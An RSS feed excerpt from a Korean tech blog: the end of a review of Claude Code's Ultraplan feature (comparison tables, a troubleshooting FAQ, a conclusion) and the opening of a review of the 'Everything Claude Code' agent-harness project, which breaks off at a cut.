&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 위치&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Anthropic 관리 클라우드 VM&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 터미널&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미공개 (공식 문서에 명시 없음)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설정된 모델&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리소스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;약 4 vCPU / 16GB RAM / 30GB 디스크&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 머신 사양&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;터미널 차단&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;없음 (터미널 자유)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;있음 (터미널 점유)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;커스텀 Skill&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로젝트 커밋 skill만 지원 (유저 레벨 미지원)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전체 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;GitHub 연동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;필수&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;선택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 환경 접근&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리뷰 인터페이스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인라인 댓글, 이모지 반응, 아웃라인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;터미널 텍스트 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대규모 리팩토링&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;병렬 에이전트로 유리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;순차 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인터넷 없는 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;사용 불가&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: Ultraplan은 대규모 복잡한 플래닝에서 클라우드 병렬 처리의 이점을 제공하고, 로컬 Plan Mode는 커스텀 환경과 오프라인 상황에서 안정적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;결정 매트릭스: 언제 무엇을 써야 하는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;시나리오&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 선택&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대규모 코드베이스 리팩토링&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Ultraplan&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;병렬 에이전트, 긴 처리 시간, 브라우저 리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;유저 레벨(~/.claude/) skill 워크플로우&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 Plan Mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;유저 레벨 설정 클라우드 미동기화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빠른 단일 파일 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 Plan Mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Ultraplan 오버헤드 불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 플랜 리뷰 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Ultraplan&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인라인 댓글, 이모지 반응&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 파일 시스템 접근 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 Plan Mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클라우드는 GitHub 스냅샷만 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;오프라인/VPN 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 Plan Mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Ultraplan은 인터넷 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브라우저 리뷰 인터페이스 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Ultraplan&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인라인 댓글, 이모지 반응 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 트러블슈팅 Q&amp;amp;A + 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자주 묻는 질문&lt;/h3&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: &quot;Ultraplan이 시작되지 않아요&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A: 두 가지를 확인한다. 첫째, Pro 이상 플랜 계정으로 로그인했는가. 둘째, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub 저장소가 연동&lt;/a&gt;되어 있는가. 로컬 전용 저장소에서는 Ultraplan이 작동하지 않는다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: &quot;플랜을 승인했는데 Claude가 플랜 파일이 아닌 소스 파일을 직접 편집해요&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A: 알려진 버그다. Ultraplan 승인 후 Plan Mode 제약이 위반되는 문제로, 2026-04-08 기준 미해결 상태다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/43576&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issues #43576&lt;/a&gt;에 리포트되어 있다. 임시 해결책으로 Ultraplan 결과를 받은 후 수동으로 플랜 파일을 확인하고 소스 편집 전에 플랜 내용을 검토한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: &quot;커스텀 skill이 Ultraplan에서 작동하지 않아요&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A: 클라우드 세션은 저장소 클론에서 시작하므로, &lt;b&gt;프로젝트에 커밋된 &lt;code&gt;.claude/skills/&lt;/code&gt;는 정상 작동한다.&lt;/b&gt; 작동하지 않는 것은 &lt;code&gt;~/.claude/&lt;/code&gt; 아래의 유저 레벨 설정이며, 이는 설계상 클라우드에 동기화되지 않는다. skill을 클라우드에서 사용하려면 프로젝트 저장소에 커밋하면 된다. 별도로 v0.88+ 버전에서 skill 로딩 자체의 버그가 리포트되어 있다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/41882&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #41882&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/41243&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #41243&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: &quot;Ultraplan이 얼마나 빠른가요? 11배라는 말이 사실인가요?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A: &quot;11배 빠름&quot;은 단일 커뮤니티 사례에서 나온 수치로 독립 검증이 어렵다. 커뮤니티 테스트 기준 &quot;약 2배 빠름&quot;이 더 일반적인 기준치로 보인다. 속도 향상의 본질은 클라우드 병렬 에이전트 아키텍처에 있으며, 작업 복잡도가 높을수록 이점이 커진다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;최종 결론: 지금 당장 써야 하는가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan은 강력하지만 아직 완성되지 않은 도구다. 다음 기준으로 결정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지금 쓸 것&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;대규모 코드베이스 리팩토링이 필요한 경우&lt;/li&gt;
&lt;li&gt;팀과 함께 플랜을 검토하고 싶은 경우&lt;/li&gt;
&lt;li&gt;터미널 차단 없이 긴 플래닝이 필요한 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아직 기다릴 것&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;유저 레벨(~/.claude/) skill에 의존하고 프로젝트 커밋이 어려운 워크플로우&lt;/li&gt;
&lt;li&gt;로컬 파일 시스템에 직접 접근해야 하는 작업&lt;/li&gt;
&lt;li&gt;Bedrock / Vertex AI / Foundry 환경을 사용하는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan은 AI 통제력 진화의 세 번째 단계인 하네스 엔지니어링의 실제 구현이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 research preview 단계이고 제약도 있지만, 방향성은 분명하다. 클라우드 에이전트가 코드베이스를 이해하고 플랜을 세우는 시대가 시작됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;참고 자료&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code Ultraplan 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/claude-code-on-the-web&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code on the web 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/pricing/max&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Max 플랜 공식 페이지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code GitHub 저장소&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code-action&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code GitHub Action&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/43576&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #43576: Ultraplan 승인 후 Plan Mode 위반&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/41882&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #41882: 커스텀 커맨드/스킬 오작동&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://techsy.io/blog/claude-code-leaked-features-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 소스코드 유출 분석&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>CCR Cloud Container Runtime</category>
      <category>Claude Code Plan Mode</category>
      <category>Claude Code Ultraplan</category>
      <category>Claude Code 리뷰</category>
      <category>Claude Code 텔레포트</category>
      <category>Claude Max 플랜</category>
      <category>병렬 에이전트 아키텍처</category>
      <category>커스텀 Skill 버그</category>
      <category>클라우드 플래닝</category>
      <category>하네스 엔지니어링</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/576</guid>
      <comments>https://goddaehee.tistory.com/576#entry576comment</comments>
      <pubDate>Thu, 9 Apr 2026 19:00:17 +0900</pubDate>
    </item>
    <item>
      <title>&amp;quot;하네스 엔지니어링&amp;quot; - Everything Claude Code 리뷰 : 혼자서 팀처럼 개발하는 에이전트 셋업(ECC 하네스 셋업으로 생산성 2배 끌어올리기)</title>
      <link>https://goddaehee.tistory.com/575</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;1500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diDxvE/dJMcaaLzqqv/y4WS8DIL6wq6FdK7ixUK51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diDxvE/dJMcaaLzqqv/y4WS8DIL6wq6FdK7ixUK51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diDxvE/dJMcaaLzqqv/y4WS8DIL6wq6FdK7ixUK51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiDxvE%2FdJMcaaLzqqv%2Fy4WS8DIL6wq6FdK7ixUK51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2354&quot; height=&quot;1500&quot; data-origin-width=&quot;2354&quot; data-origin-height=&quot;1500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 GitHub에서 &lt;b&gt;133,000+ Star&lt;/b&gt;(2026년 4월 3일 GitHub 기준)를 기록하며 폭발적인 관심을 받고 있는 &lt;b&gt;Everything Claude Code (ECC)&lt;/b&gt; 프로젝트에 대해 알아보려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;ECC는 Claude Code, Cursor, Codex 등 AI 코딩 에이전트를 사용하는 개발자라면 알아두면 유용한 성능 최적화 시스템이다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Everything Claude Code 소개
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로젝트 개요&lt;/li&gt;
&lt;li&gt;Anthropic 해커톤 우승 배경&lt;/li&gt;
&lt;li&gt;왜 주목해야 하는가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;프로젝트 전체 구조
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디렉토리 구성&lt;/li&gt;
&lt;li&gt;핵심 구성요소 한눈에 보기&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;3대 가이드 &amp;mdash; Shortform / Longform / Security
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Shortform Guide &amp;mdash; 기본기 다지기&lt;/li&gt;
&lt;li&gt;Longform Guide &amp;mdash; 고급 패턴&lt;/li&gt;
&lt;li&gt;Security Guide &amp;mdash; 에이전트 보안&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;핵심 구성요소 상세
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Agents (36개 전문 에이전트)&lt;/li&gt;
&lt;li&gt;Skills (151개 워크플로우 스킬)&lt;/li&gt;
&lt;li&gt;Commands (68개 레거시 슬래시 엔트리)&lt;/li&gt;
&lt;li&gt;Hooks (자동화 훅 시스템)&lt;/li&gt;
&lt;li&gt;Rules (12개 언어/생태계 규칙)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;크로스 플랫폼 지원
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Claude Code, Codex, Cursor, OpenCode 중심의 크로스 하네스 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;AgentShield &amp;mdash; 보안 스캐너
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주요 기능&lt;/li&gt;
&lt;li&gt;사용법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;토큰 최적화 &amp;amp; Continuous Learning
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모델 라우팅 전략&lt;/li&gt;
&lt;li&gt;Instinct 시스템&lt;/li&gt;
&lt;li&gt;컨텍스트 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설치 및 시작 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;설치 방법 4가지&lt;/li&gt;
&lt;li&gt;프로파일 선택&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 활용 팁
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;병렬 작업 패턴&lt;/li&gt;
&lt;li&gt;Two-Instance Kickoff&lt;/li&gt;
&lt;li&gt;주의사항&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응과 주의사항
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;긍정적 반응&lt;/li&gt;
&lt;li&gt;비판과 우려&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Everything Claude Code (ECC) 가이드&lt;/b&gt;&lt;br /&gt;ECC는 단순한 설정 파일 모음이 아니다. 36개 전문 에이전트, 151개 워크플로우 스킬, 68개 레거시 슬래시 엔트리, 자동화 훅 시스템, 보안 스캐너까지 포함한 &lt;b&gt;에이전트 하네스 성능 최적화 시스템&lt;/b&gt;이다.&lt;br /&gt;Claude Code, Codex, Cursor, OpenCode를 중심으로 Antigravity와 Gemini CLI(실험적)까지 문서화된 크로스 하네스 생태계를 갖추고 있다.&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WPrYW/dJMcaiJyGal/ku1KnfjxvUYFZuMMOsKGm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WPrYW/dJMcaiJyGal/ku1KnfjxvUYFZuMMOsKGm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WPrYW/dJMcaiJyGal/ku1KnfjxvUYFZuMMOsKGm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWPrYW%2FdJMcaiJyGal%2Fku1KnfjxvUYFZuMMOsKGm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2008&quot; height=&quot;1086&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: 소개 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Everything Claude Code 소개&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;프로젝트 개요&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Everything Claude Code (ECC)&lt;/b&gt;는 Affaan Mustafa가 만든 오픈소스 프로젝트로,&lt;/p&gt;
